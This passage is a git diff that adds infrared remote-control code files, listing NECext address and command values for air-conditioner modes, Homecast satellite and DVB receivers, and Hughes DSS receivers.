+name: cool17med +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FA 00 00 00 +# +name: cool18med +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FA 00 00 00 +# +name: cool19med +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FA 00 00 00 +# +name: cool20med +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FA 00 00 00 +# +name: cool21med +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FA 00 00 00 +# +name: cool22med +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FA 00 00 00 +# +name: cool23med +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FA 00 00 00 +# +name: cool24med +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FA 00 00 00 +# +name: cool25med +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FA 00 00 00 +# +name: heat17med +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FA 00 00 00 +# +name: heat18med +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FA 00 00 00 +# +name: heat19med +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FA 00 00 00 +# +name: heat20med +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FA 00 00 00 +# +name: heat21med +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FA 00 00 00 +# +name: heat22med +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FA 00 00 00 +# +name: heat23med +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FA 00 00 00 +# +name: heat24med +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FA 00 00 00 +# +name: heat25med +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FA 00 00 00 +# +name: fanhigh +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FC 00 00 00 +# +name: cool17high +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FC 00 00 00 +# +name: cool18high +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FC 00 00 00 +# +name: cool19high +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FC 00 00 00 +# +name: cool20high +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FC 00 00 00 +# +name: cool21high +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FC 00 00 00 +# +name: cool22high +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FC 00 00 00 +# +name: cool23high +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FC 00 00 00 +# +name: cool24high +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FC 00 00 00 +# +name: cool25high +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FC 00 00 00 +# +name: heat17high +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FC 00 00 00 +# +name: heat18high +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FC 00 00 00 +# +name: heat19high +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FC 00 00 00 +# +name: heat20high +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FC 00 00 00 +# +name: heat21high +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FC 00 00 00 +# +name: heat22high +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FC 00 00 00 +# +name: heat23high +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FC 00 00 00 +# +name: heat24high +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FC 00 00 00 +# +name: heat25high +type: parsed +protocol: NECext +address: 4D B2 00 00 +command: FC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Homecast/Satellite Receiver/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Homecast/Satellite Receiver/1,-1.ir new file mode 100644 index 000000000..14ce21562 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Homecast/Satellite Receiver/1,-1.ir @@ -0,0 +1,284 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: OPT_/_RED +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: A/V+_GREEN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: FAV_/YELLOW +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: A-Z/BLUE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: TV/RAD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: TV/STB +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: EPG +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1E 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1F 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 40 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 41 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 42 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 43 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 44 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 45 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 46 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 47 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 48 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 49 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 50 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 51 00 00 00 +# +name: SLOW +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 52 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 53 00 00 00 +# +name: JUMP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 54 00 00 00 +# +name: MARK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 55 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 56 00 00 00 +# +name: SWAP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 58 00 00 00 +# +name: MOVE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 59 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5A 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Homecast/Unknown_DVB-S/32,32.ir b/assets/resources/infrared/_CSV-IRDB_/Homecast/Unknown_DVB-S/32,32.ir new file mode 100644 index 000000000..cb2933bca --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Homecast/Unknown_DVB-S/32,32.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 20 20 00 00 +command: 01 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 20 20 00 00 +command: 02 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 20 20 00 00 +command: 03 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 20 20 00 00 +command: 04 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 20 20 00 00 +command: 05 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 20 20 00 00 +command: 06 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 20 20 00 00 +command: 07 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 20 20 00 00 +command: 0B 00 00 00 +# +name: Program- +type: parsed +protocol: NECext +address: 20 20 00 00 +command: 0C 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 20 20 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 20 20 00 00 +command: 0E 00 00 00 +# +name: Program+ +type: parsed +protocol: NECext +address: 20 20 00 00 +command: 0F 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 20 20 00 00 +command: 10 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 20 20 00 00 +command: 11 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 20 20 00 00 +command: 12 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 20 20 00 00 +command: 13 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 20 20 00 00 +command: 14 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 20 20 00 00 +command: 15 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 20 20 00 00 +command: 18 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 20 20 00 00 +command: 19 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 20 20 00 00 +command: 1A 00 00 00 +# +name: TvRad +type: parsed +protocol: NECext +address: 20 20 00 00 +command: 1C 00 00 00 +# +name: TvStb +type: parsed +protocol: NECext +address: 20 20 00 00 +command: 1D 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 20 20 00 00 +command: 1E 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 20 20 00 00 +command: 41 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 20 20 00 00 +command: 42 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 20 20 00 00 +command: 43 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 20 20 00 00 +command: 44 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 20 20 00 00 +command: 45 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 20 20 00 00 +command: 46 00 00 00 +# +name: Func +type: parsed +protocol: NECext +address: 20 20 00 00 +command: 49 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 20 20 00 00 +command: 4E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Homecast/Unknown_DVB-T/64,64.ir b/assets/resources/infrared/_CSV-IRDB_/Homecast/Unknown_DVB-T/64,64.ir new file mode 100644 index 000000000..8b595296a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Homecast/Unknown_DVB-T/64,64.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0C 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0D 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0E 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 0F 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 10 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 11 00 00 00 +# +name: KEY_I +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 15 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 16 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 17 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 18 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 19 00 00 00 +# +name: app +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1C 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1D 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 1F 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 40 00 00 00 +# +name: opt +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 41 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 42 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 43 00 00 00 +# +name: reload +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 45 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 46 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 47 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/1,-1.ir new file mode 100644 index 000000000..649a312a7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/1,-1.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: VOL._UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: VOL._DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/12,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/12,-1.ir new file mode 100644 index 000000000..365969507 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/12,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 09 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0D 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0D 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0E 00 00 00 +# +name: PAGE_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0E 00 00 00 +# +name: PREV +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 11 00 00 00 +# +name: DASH +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 12 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 13 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 20 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 21 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 22 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 23 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 24 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 25 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 25 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 26 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 27 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 28 00 00 00 +# +name: ACTIVE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 29 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2A 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2E 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5B 00 00 00 +# +name: FORMAT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 73 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/12,251.ir b/assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/12,251.ir new file mode 100644 index 000000000..f38efadeb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hughes/DSS/12,251.ir @@ -0,0 +1,728 @@ +Filetype: IR signals file +Version: 1 +# +name: TV/DSS +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 01 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 01 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 02 00 00 00 +# +name: CH_^ +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 02 00 00 00 +# +name: CHAN_UP +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 02 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 03 00 00 00 +# +name: CH_V +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 03 00 00 00 +# +name: CHAN_DN +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 03 00 00 00 +# +name: 0_(ALL) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 04 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 04 00 00 00 +# +name: 1_(MOVIES) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 05 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 05 00 00 00 +# +name: 2_(SPORTS) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 06 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 06 00 00 00 +# +name: 3_(NEWS) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 07 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 07 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 09 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0A 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0B 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0C 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0D 00 00 00 +# +name: ACTION +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0E 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0F 00 00 00 +# +name: ALTERNATE_AUDIO +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0F 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 0F 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 10 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 10 00 00 00 +# +name: V +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 10 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 10 00 00 00 +# +name: ARROW_DN +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 10 00 00 00 +# +name: FAV_(LIST) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 11 00 00 00 +# +name: FAVORITE +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 11 00 00 00 +# +name: FAV/LIST +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 11 00 00 00 +# +name: FAV1 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 11 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 11 00 00 00 +# +name: GUIDE_(MENU) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 12 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 12 00 00 00 +# +name: GUIDE/MENU +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 12 00 00 00 +# +name: GUILDE +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 12 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 13 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 14 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 14 00 00 00 +# +name: < +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 14 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 14 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 14 00 00 00 +# +name: DSS_POWER +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 15 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 15 00 00 00 +# +name: PREV._CH_(SERVICES) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 16 00 00 00 +# +name: PREVIOUS_CHANNEL +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 16 00 00 00 +# +name: PREV_CH +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 16 00 00 00 +# +name: PREV_CH_(SERVICES) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 16 00 00 00 +# +name: PREVIOUS_CHAN +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 16 00 00 00 +# +name: PREV_CHANNEL +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 16 00 00 00 +# +name: PREV._CHANNEL +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 16 00 00 00 +# +name: PREV_CHAN +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 16 00 00 00 +# +name: PREVIOUS_CH +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 16 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 17 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 17 00 00 00 +# +name: > +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 17 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 17 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 17 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 18 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 18 00 00 00 +# +name: CURSOR_SELECT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 18 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 19 00 00 00 +# +name: ^ +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 19 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 19 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 19 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 20 00 00 00 +# +name: SURF +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 2F 00 00 00 +# +name: CC/DATE +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 30 00 00 00 +# +name: RATIO +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 31 00 00 00 +# +name: ? +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 32 00 00 00 +# +name: DOT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 36 00 00 00 +# +name: --_ALPHA +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 36 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 36 00 00 00 +# +name: HD_OUTPUT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 37 00 00 00 +# +name: HD_OUTPUT_ON +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 37 00 00 00 +# +name: HDSD +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 37 00 00 00 +# +name: SD_OUTPUT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 38 00 00 00 +# +name: STANDARD_OUTPUT_ON +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 38 00 00 00 +# +name: 1080I +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 40 00 00 00 +# +name: 720P +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 41 00 00 00 +# +name: 480P +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 42 00 00 00 +# +name: 480I +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 43 00 00 00 +# +name: NATIVE +type: parsed +protocol: NECext +address: 